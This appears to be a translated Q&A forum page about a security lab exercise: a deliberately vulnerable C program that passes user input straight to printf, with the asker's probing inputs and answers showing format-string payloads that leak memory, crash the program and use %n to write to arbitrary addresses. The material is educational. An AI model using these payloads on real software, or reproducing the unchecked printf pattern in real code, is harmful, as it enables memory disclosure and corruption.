在格式字符串漏洞攻击中访问数组的第二个元素

时间:2013-04-17 18:27:44

标签: c string security exploit format-string

我正在使用格式字符串漏洞实验室,我们在其中提供了以下代码:

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; 
  secret[1] = SECRET2;

  printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
  }

我们根本不应该修改代码。仅使用输入,我们有4个目标:崩溃程序,秘密打印值[1],修改秘密值[1],并将秘密值[1]修改为预定值。

我得到的样本输出是:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025

因此,通过输入8"%08x" s,我打印了秘密地址+4,然后我打印了a,b,c和d的地址 - 但是我从未给过它们一个值,他们不会指向任何地方,只显示0。接下来是我输入的十进制数,选择这样,以便' ffff'会清楚可见。接下来是secret [0]的地址,然后我进入程序中存储的其他值。

如果我输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.,则.0804a008将是.41414141,因为字符串输入中的A将存储在那里。

程序崩溃非常容易:字符串输入上的%s足够导致段错误。现在我需要秘密阅读这个值[1],但我完全迷失了。我尝试将地址放在堆栈上,方法是将它放在字符串的开头,如:\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s,但地址不会被推到任何地方而我只打印secret [0](对于好奇的人来说,这就是D')。我已经尝试了各种各样的地址,但过了一段时间后,我意识到我只是将所有这些都存储在A&#39出现的字符串中。他们没有被转换为十六进制或任何东西。

我在SA和其他地方看到过很多关于此代码的讨论,但我还没有看到有人谈论你如何秘密获取这些价值[1]。

非常感谢任何帮助。

3 个答案:

答案 0 :(得分:4)

要访问secret [1],您必须输入它作为整数输入的地址。

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U

答案 1 :(得分:3)

诀窍是在用户指定的格式字符串中使用%n说明符。 %n表示获取到目前为止写入的字节数,将它们存储在下一个参数指向的地址。如果没有为printf提供足够的参数,那么它写入的地址就是堆栈上接下来的任何值。如果您可以利用该地址,那么您实际上可以在内存中的任何位置写入一个4字节的整数。

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");

答案 2 :(得分:1)

您实际上可以直接在格式字符串中指定偏移量。

例如

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog